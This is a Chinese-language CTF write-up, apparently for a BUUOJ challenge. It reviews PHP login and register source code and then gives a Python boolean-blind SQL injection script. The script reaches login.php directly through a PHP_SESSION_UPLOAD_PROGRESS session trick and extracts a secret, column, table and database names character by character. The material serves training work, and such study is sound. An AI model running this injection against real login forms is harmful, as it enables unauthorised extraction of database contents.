进入靶场
和2次注入的页面很像
不过养成查看源代码的好习惯
先访问source.zip
下载后解压,发现两个文件
第一个文件夹打开又有4个PHP文件
那还是先看index.php文件好了
有PHP和HTML两部分,下面是PHP部分代码(HTML太长了,先放一放)
php
<?php
// 启动会话
session_start();
// 对 $_SESSION 中的每个元素进行过滤处理
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
// 对 $_GET 中的每个元素进行过滤处理
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
// 对 $_POST 中的每个元素进行过滤处理
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
// 对 $_REQUEST 中的每个元素进行过滤处理
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
// 定义过滤函数
function filter($value)
{
// 如果值不是字符串,终止脚本并输出 Hacking attempt!
!is_string($value) AND die("Hacking attempt!");
// 使用 addslashes 函数对字符串进行转义,防止 SQL 注入
return addslashes($value);
}
// 如果满足以下条件,包含 templates/register.php 文件
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
// 如果满足以下条件,包含 templates/login.php 文件
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
// 如果满足以下条件,包含 templates/home.php 文件
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>
对通过SESSION、GET、POST、REQUEST方法获取到的每个元素进行过滤处理,对字符串进行转义来防止SQL注入
看另外4个
db.php
php
<?php
$servername = $_ENV["DB_HOST"];
$username = $_ENV["DB_USER"];
$password = $_ENV["DB_PASSWORD"];
$dbname = $_ENV["DB_NAME"];
$con = new mysqli($servername, $username, $password, $dbname);
?>
php
<?php
// 从环境变量中获取数据库的主机地址
$servername = $_ENV["DB_HOST"];
// 从环境变量中获取用于连接数据库的用户名
$username = $_ENV["DB_USER"];
// 从环境变量中获取连接数据库的密码
$password = $_ENV["DB_PASSWORD"];
// 从环境变量中获取要连接的数据库的名称
$dbname = $_ENV["DB_NAME"];
// 使用 mysqli 类创建一个新的数据库连接对象,将前面获取的主机地址、用户名、密码和数据库名称作为参数
$con = new mysqli($servername, $username, $password, $dbname);
?>
home.php
php
<!DOCTYPE html>
<html lang="en">
<head>
<!-- 定义文档字符编码为 utf-8 -->
<meta charset="utf-8">
<!-- 告知搜索引擎不要索引此页面 -->
<meta name="robots" content="noindex">
<title>home</title>
<!-- 设置视口,以实现响应式布局 -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- 引入 Bootstrap 的 CSS 样式表 -->
<link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet"
id="bootstrap-css">
<style type="text/css">
</style>
<!-- 引入 jQuery 库 -->
<script src="//code.jquery.com/jquery-1.10.2.min.js"></script>
<!-- 引入 Bootstrap 的 JavaScript 库 -->
<script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<?php
// 包含数据库连接文件 db.php
include 'db.php';
// 判断是否设置了 $_SESSION["username"]
if (isset($_SESSION["username"])):
// 如果设置了 $_SESSION["username"],显示一个警告信息
die('<div class="alert alert-warning" id="msg-verify" role="alert"><strong>Hope this site is secure! I did my best to protect against some attacks. New sections will be available soon.</strong></div>');
else:
// 如果未设置 $_SESSION["username"],进行页面刷新,跳转到?p=login
die('<meta http-equiv="refresh" content="0; url=?p=login" />');
endif;
?>
</div>
</body>
</html>
login.php
php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>
php
<?php
// 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
// 包含 db.php 文件,可能包含数据库连接等相关代码
include 'db.php';
// 构建 SQL 查询语句,从 `ptbctf`.`ptbctf` 表中查询用户名为 $_GET['username'] 且密码为 $_GET['password'] 的 MD5 加密值的用户信息
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'. $_GET['username']. '" and password="'. md5($_GET['password']). '";';
// 执行 SQL 查询
$result = $con->query($sql);
// 定义 auth 函数,用于将用户信息存储在 $_SESSION 中并返回 True
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
// 以下是逻辑判断:
// 如果查询结果行数大于 0,并且可以获取查询结果的一行数据,并且关闭数据库连接,并且调用 auth 函数存储用户信息,并且重定向到?p=home 页面,则执行成功;
// 否则关闭数据库连接并输出 Try again!
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>
redister.php
php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>
php
<?php
// 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
// 包含 db.php 文件,可能包含数据库连接等相关代码
include 'db.php';
// 以下是对 $_POST['username'] 的验证:
// 检查用户名是否包含字母 a、d、m、i、n 中的任何一个(不区分大小写),
// 或者用户名长度小于 6,
// 或者用户名长度大于 10,
// 或者用户名不是字母数字组合
// 如果满足上述任何一个条件,则关闭数据库连接并输出 "Not allowed!"
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR!ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
// 构建 SQL 插入语句,将用户输入的用户名和密码(密码进行 MD5 加密)插入到 `ptbctf`.`ptbctf` 表中
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("'. $_POST['username']. '","'. md5($_POST['password']). '")';
// 执行 SQL 插入操作,如果插入成功则关闭数据库连接并输出 "The user was created successfully!",否则关闭数据库连接并输出 "Error!"
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>
根据代码信息绕过过滤机制
运行以下python脚本
python
import requests
import time
url = "http://b9b081b9-90ad-4343-93d0-98dbc62e66d2.node5.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
# 字段值
flag = ''
for i in range(1, 100):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
time.sleep(0.06)
payload_flag = {
'username': f"test\" or (ascii(substr((select group_concat(secret) from flag_tbl ),{i},1))>{mid}) #",
'password': 'test'
}
r = requests.post(url=url, params=payload_flag, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"})
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
print(flag)
print(flag)
# 列名
column = ''
for i in range(1, 100):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
time.sleep(0.06)
payload_column = {
'username': f"test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl' ),{i},1))>{mid}) #",
'password': 'test'
}
r = requests.post(url=url, params=payload_column, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
column += chr(mid)
print(column)
print(column)
# 表名
table = ''
for i in range(1, 100):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
time.sleep(0.06)
payload_table = {
'username': f'test" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ptbctf"),{i},1))>{mid}) #',
'password': 'test'
}
r = requests.post(url=url, params=payload_table, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
table += chr(mid)
print(table)
print(table)
# 数据库名
database = ''
for i in range(1, 100):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
time.sleep(0.06)
payload_database = {
'username': f"test\" or (ascii(substr((select database()),{i},1))>{mid}) #",
'password': 'test'
}
r = requests.post(url=url, params=payload_database, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
database += chr(mid)
print(database)